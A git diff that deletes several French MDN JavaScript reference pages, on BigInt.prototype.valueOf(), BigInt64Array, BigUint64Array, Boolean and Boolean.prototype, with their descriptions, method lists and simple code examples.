diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html deleted file mode 100644 index 924a9ce5e2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: BigInt.prototype.valueOf() -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/valueOf -tags: - - BigInt - - JavaScript - - Method - - Prototype - - Reference - - valueOf() -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf ---- -
{{JSRef}}
- -

La méthode valueOf() renvoie la valeur primitive encapsulée dans un objet {{jsxref("BigInt")}}.

- -
{{EmbedInteractiveExample("pages/js/bigint-valueof.html")}}
- - - -

Syntaxe

- -
bigIntObj.valueOf()
- -

Valeur de retour

- -

Un grand entier (big int) représentant la valeur primitive de l'objet {{jsxref("BigInt")}} courant.

- -

Exemples

- -

Utiliser valueOf()

- -
typeof Object(1n); // object
-typeof Object(1n).valueOf(); // bigint
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.valueOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("BigInt.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html deleted file mode 100644 index 0d9d92e605..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: BigInt64Array -slug: Web/JavaScript/Reference/Objets_globaux/BigInt64Array -tags: - - BigInt - - Constructeur - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt64Array ---- -
{{JSRef}}
- -

Le tableau typé BigInt64Array permet de représenter un tableau d'entiers signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0n. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new BigInt64Array();
-new BigInt64Array(longueur);
-new BigInt64Array(tableauTypé);
-new BigInt64Array(objet);
-new BigInt64Array(tampon [, décalage [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigInt64Array.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'BigInt64Array, ce sera 8.
-
BigInt64Array.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "BigInt64Array.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour BigInt64Array ce sera : "BigInt64Array".
-
{{jsxref("TypedArray.prototype", "BigInt64Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "BigInt64Array.from()")}}
-
Cette méthode permet de créer un nouveau tableau typé BigInt64Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "BigInt64Array.of()")}}
-
Cette méthode permet de créer un nouvel objet BigInt64Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype BigInt64Array

- -

Tous les objets BigInt64Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
BigInt64Array.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur BigInt64Array.
-
{{jsxref("TypedArray.prototype.buffer", "BigInt64Array.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet BigInt64Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "BigInt64Array.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet BigInt64Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "BigInt64Array.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau BigInt64Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "BigInt64Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "BigInt64Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "BigInt64Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "BigInt64Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "BigInt64Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "BigInt64Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "BigInt64Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "BigInt64Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "BigInt64Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "BigInt64Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "BigInt64Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "BigInt64Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "BigInt64Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "BigInt64Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.reduce", "BigInt64Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "BigInt64Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "BigInt64Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "BigInt64Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "BigInt64Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "BigInt64Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "BigInt64Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "BigInt64Array.prototype.subarray()")}}
-
Renvoie un nouvel objet BigInt64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "BigInt64Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "BigInt64Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "BigInt64Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "BigInt64Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet BigInt64Array :

- -
// Construction à partir d'une longueur
-var bigInt64 = new BigInt64Array(2);
-bigInt64[0] = 42n;
-console.log(bigInt64[0]); // 42n
-console.log(bigInt64.length); // 2
-console.log(bigInt64.BYTES_PER_ELEMENT); // 8
-
-// Construction à partir d'un tableau
-var arr = new BigInt64Array([21n,31n]);
-console.log(arr[1]); // 31n
-
-// Construction à partir d'un tableau typé
-var x = new BigInt64Array([21n, 31n]);
-var y = new BigInt64Array(x);
-console.log(y[0]); // 21n
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(32);
-var z = new BigInt64Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1n, 2n, 3n]; }();
-var BigInt64 = new BigInt64Array(iterable);
-// BigInt64Array[1n, 2n, 3n]
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour BigIntProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt64Array")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html b/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html deleted file mode 100644 index 659a4d8aec..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html +++ /dev/null @@ -1,184 +0,0 @@ ---- -title: BigUint64Array -slug: Web/JavaScript/Reference/Objets_globaux/BigUint64Array -tags: - - BigInt - - Constructeur - - JavaScript - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/BigUint64Array ---- -
{{JSRef}}
- -

Le tableau typé BigUint64Array permet de représenter un tableau d'entiers non signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0n. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

- -

Syntaxe

- -
new BigUint64Array();
-new BigUint64Array(longueur);
-new BigUint64Array(tableauTypé);
-new BigUint64Array(objet);
-new BigUint64Array(tampon [, décalage [, longueur]]);
- -

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

- -

Propriétés

- -
-
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigUint64Array.BYTES_PER_ELEMENT")}}
-
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'BigUint64Array, ce sera 8.
-
BigUint64Array.length
-
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}}.
-
{{jsxref("TypedArray.name", "BigUint64Array.name")}}
-
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour BigUint64Array ce sera : "BigUint64Array".
-
{{jsxref("TypedArray.prototype", "BigUint64Array.prototype")}}
-
Le prototype des objets TypedArray.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.from", "BigUint64Array.from()")}}
-
Cette méthode permet de créer un nouveau tableau typé BigUint64Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
-
{{jsxref("TypedArray.of", "BigUint64Array.of()")}}
-
Cette méthode permet de créer un nouvel objet BigUint64Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
-
- -

Prototype BigUint64Array

- -

Tous les objets BigUint64Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

- -

Propriétés

- -
-
BigUint64Array.prototype.constructor
-
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur BigUint64Array.
-
{{jsxref("TypedArray.prototype.buffer", "BigUint64Array.prototype.buffer")}} {{readonlyInline}}
-
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet BigUint64Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteLength", "BigUint64Array.prototype.byteLength")}} {{readonlyInline}}
-
Cette propriété renvoie la longueur, exprimée en octets, de l'objet BigUint64Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.byteOffset", "BigUint64Array.prototype.byteOffset")}} {{readonlyInline}}
-
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
{{jsxref("TypedArray.prototype.length", "BigUint64Array.prototype.length")}} {{readonlyInline}}
-
Cette propriété renvoie le nombre d'éléments contenus dans le tableau BigUint64Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
-
- -

Méthodes

- -
-
{{jsxref("TypedArray.copyWithin", "BigUint64Array.prototype.copyWithin()")}}
-
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
-
{{jsxref("TypedArray.entries", "BigUint64Array.prototype.entries()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
-
{{jsxref("TypedArray.every", "BigUint64Array.prototype.every()")}}
-
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
-
{{jsxref("TypedArray.fill", "BigUint64Array.prototype.fill()")}}
-
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
-
{{jsxref("TypedArray.filter", "BigUint64Array.prototype.filter()")}}
-
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
-
{{jsxref("TypedArray.find", "BigUint64Array.prototype.find()")}}
-
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
-
{{jsxref("TypedArray.findIndex", "BigUint64Array.prototype.findIndex()")}}
-
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
-
{{jsxref("TypedArray.forEach", "BigUint64Array.prototype.forEach()")}}
-
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
-
{{jsxref("TypedArray.includes", "BigUint64Array.prototype.includes()")}}
-
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
-
{{jsxref("TypedArray.indexOf", "BigUint64Array.prototype.indexOf()")}}
-
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
-
{{jsxref("TypedArray.join", "BigUint64Array.prototype.join()")}}
-
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
-
{{jsxref("TypedArray.keys", "BigUint64Array.prototype.keys()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
-
{{jsxref("TypedArray.lastIndexOf", "BigUint64Array.prototype.lastIndexOf()")}}
-
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
-
{{jsxref("TypedArray.map", "BigUint64Array.prototype.map()")}}
-
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
-
{{jsxref("TypedArray.reduce", "BigUint64Array.prototype.reduce()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
-
{{jsxref("TypedArray.reduceRight", "BigUint64Array.prototype.reduceRight()")}}
-
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
-
{{jsxref("TypedArray.reverse", "BigUint64Array.prototype.reverse()")}}
-
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
-
{{jsxref("TypedArray.set", "BigUint64Array.prototype.set()")}}
-
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
-
{{jsxref("TypedArray.slice", "BigUint64Array.prototype.slice()")}}
-
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
-
{{jsxref("TypedArray.some", "BigUint64Array.prototype.some()")}}
-
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
-
{{jsxref("TypedArray.sort", "BigUint64Array.prototype.sort()")}}
-
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
-
{{jsxref("TypedArray.subarray", "BigUint64Array.prototype.subarray()")}}
-
Renvoie un nouvel objet BigUint64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
-
{{jsxref("TypedArray.values", "BigUint64Array.prototype.values()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
-
{{jsxref("TypedArray.toLocaleString", "BigUint64Array.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
-
{{jsxref("TypedArray.toString", "BigUint64Array.prototype.toString()")}}
-
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
-
{{jsxref("TypedArray.@@iterator", "BigUint64Array.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
-
- -

Exemples

- -

Différentes façons de créer un objet BigUint64Array :

- -
// Construction à partir d'une longueur
-var bigInt64 = new BigUint64Array(2);
-bigInt64[0] = 42n;
-console.log(bigInt64[0]); // 42n
-console.log(bigInt64.length); // 2
-console.log(bigInt64.BYTES_PER_ELEMENT); // 8
-
-// Construction à partir d'un tableau
-var arr = new BigUint64Array([21n,31n]);
-console.log(arr[1]); // 31n
-
-// Construction à partir d'un tableau typé
-var x = new BigUint64Array([21n, 31n]);
-var y = new BigUint64Array(x);
-console.log(y[0]); // 21n
-
-// Construction à partir d'un ArrayBuffer
-var buffer = new ArrayBuffer(32);
-var z = new BigUint64Array(buffer, 0, 4);
-
-// Construction à partir d'un itérable
-var iterable = function*(){ yield* [1n, 2n, 3n]; }();
-var BigInt64 = new BigUint64Array(iterable);
-// BigUint64Array[1n, 2n, 3n]
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour BigIntProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigUint64Array")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/index.html deleted file mode 100644 index e6c29376f2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/boolean/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Boolean -slug: Web/JavaScript/Reference/Objets_globaux/Boolean -tags: - - Boolean - - Constructeur - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean ---- -
{{JSRef}}
- -

L'objet Boolean est un objet permettant de représenter une valeur booléenne.

- -

Syntaxe

- -
new Boolean([valeur])
- -

Paramètres

- -
-
valeur{{optional_inline}}
-
Paramètre optionnel, la valeur initiale de l'objet Boolean.
-
- -

Description

- -

La valeur passée en premier paramètre est, si nécessaire, convertie en valeur booléenne. Si la valeur est omise ou est 0, -0, {{jsxref("null")}}, false, {{jsxref("NaN")}}, {{jsxref("undefined")}} ou une chaine de caractères vide (""), l'objet a un valeur initiale à false (faux). Si l'objet DOM {{domxref("document.all")}} est passé en argument, la valeur initiale sera également false. Toutes les autres valeurs, y compris n'importe quel objet, un tableau vide ([]), ou une chaine de caractères "false", créént un objet avec une valeur initiale à true (vrai).

- -

Ne pas confondre les valeurs primitives booléennes true et false avec les valeurs true et false d'un objet Booléen.

- -

Tout objet dont la valeur n'est ni  undefined ni null, incluant un objet Booléen dont la valeur est fausse, évalue à true lorsqu'il est à une instruction conditionnelle. Par exemple, la condition (voir {{jsxref("Instructions/if...else", "if")}}), dans le code suivant, est validée si l'expression est évaluée à true :

- -
var x = new Boolean("false");
-if (x) {
-  // . . . le code est exécuté
-}
-
-var y = new Boolean(false);
-if (y) {
-  // ce code est également exécuté
-}
-
- -

Ce comportement ne s'applique pas aux valeurs primitives booléennes. Par exemple, la condition, dans le code suivant, est évaluée à false :

- -
var x = false;
-if (x) {
-  // . . . le code n'est pas exécuté
-}
-
- -

Ne pas utiliser un objet Boolean pour convertir une valeur non-booléenne en une valeur booléenne. Utilisez plutot une fonction booléenne pour effectuer cette tâche :

- -
var x = Boolean(expression);     // conseillé
-var y = new Boolean(expression); // à ne pas utiliser
-
- -

Si vous spécifiez un objet quelconque, incluant un objet booléen qui a une valeur fausse, le nouvel objet Boolean a une valeur vraie.

- -
var myFalse = new Boolean(false);   // valeur initiale à false
-var g = Boolean(myFalse);       // valeur initiale à true
-var myString = new String("Hello"); // un object String
-var s = Boolean(myString);      // valeur initiale à true
-
- -

Ne pas utiliser un objet Booléen à la place d'une valeur primitive booléenne.

- -
-

Note : Lorsque la propriété historique, non-standard, document.all est utilisée comme argument, le constructeur Boolean renvoie un objet booléen faux. Cette propriété étant non-standard, son utilisation est déconseillée.

-
- -

Propriétés

- -
-
Boolean.length
-
Renvoie 1. Le nombre d'arguments pris en charge par le constructeur.
-
{{jsxref("Boolean.prototype")}}
-
Représente le prototype du constructeur Boolean.
-
- -

Méthodes

- -

L'objet global Boolean ne contient pas ses propres méthodes, cependant, il hérite de certaines méthodes à travers la chaine de prototypes.

- -

Instances de Boolean

- -

Toutes les Boolean héritent de {{jsxref("Boolean.prototype")}}. Comme avec tous les constructeurs, l'objet prototype dicte les propriétés et les méthodes héritées par les instances.

- -

Propriétés

- -

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','Propri.C3.A9t.C3.A9s')}}

- -

Méthodes

- -

{{page('fr/docs/JavaScript/Reference/Objets_globaux/Boolean/prototype','M.C3.A9thodes')}}

- -

Exemples

- -

Création d'objets Boolean avec une valeur initiale à faux

- -
var bNoParam = new Boolean();
-var bZero = new Boolean(0);
-var bNull = new Boolean(null);
-var bEmptyString = new Boolean("");
-var bfalse = new Boolean(false);
-
- -

Création d'objets Boolean avec une valeur initiale à vrai

- -
var btrue = new Boolean(true);
-var btrueString = new Boolean("true");
-var bfalseString = new Boolean("false");
-var bArrayProto = new Boolean([]);
-var bObjProto = new Boolean({});
-var bSuLin = new Boolean("Su Lin");
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6', 'Boolean')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-boolean-objects', 'Boolean')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-boolean-objects', 'Boolean')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Boolean")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html deleted file mode 100644 index 8aebedeab9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Boolean.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Boolean/prototype -tags: - - Boolean - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Boolean -translation_of_original: Web/JavaScript/Reference/Global_Objects/Boolean/prototype ---- -
{{JSRef}}
- -

La propriété Boolean.prototype représente le prototype pour le constructeur {{jsxref("Boolean")}}.

- -

{{js_property_attributes(0,0,0)}}

- -
{{EmbedInteractiveExample("pages/js/boolean-constructor.html")}}
- - - -

Description

- -

Les instances de {{jsxref("Boolean")}} hérite de {{jsxref("Boolean.prototype")}}. Vous pouvez utiliser l'objet prototype du constructeur pour ajouter des propriétés ou des méthodes de toutes les instances Boolean.

- -

Propriétés

- -
-
Boolean.prototype.constructor
-
Renvoie la fonction de création d'un prototype d'instance. Il s'agit de la fonction {{jsxref("Boolean")}} par défaut.
-
- -

Méthodes

- -
-
{{jsxref("Boolean.prototype.toSource()")}} {{ Non-standard_inline() }}
-
Renvoie une chaine de caractères contenant le code source de l'objet {{jsxref("Boolean")}} ; celle-ci peut être utilisée pour créer un objet équivalent. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
-
- -
-
{{jsxref("Boolean.prototype.toString()")}}
-
Renvoie une chaine de caractères contenant soit « true » soit « false » selon la valeur de l'objet. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
-
- -
-
{{jsxref("Boolean.prototype.valueOf()")}}
-
Renvoie la valeur primitive de l'objet {{jsxref("Boolean")}}. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.6.3.1', 'Boolean.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-boolean.prototype', 'Boolean.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Boolean.prototype")}}

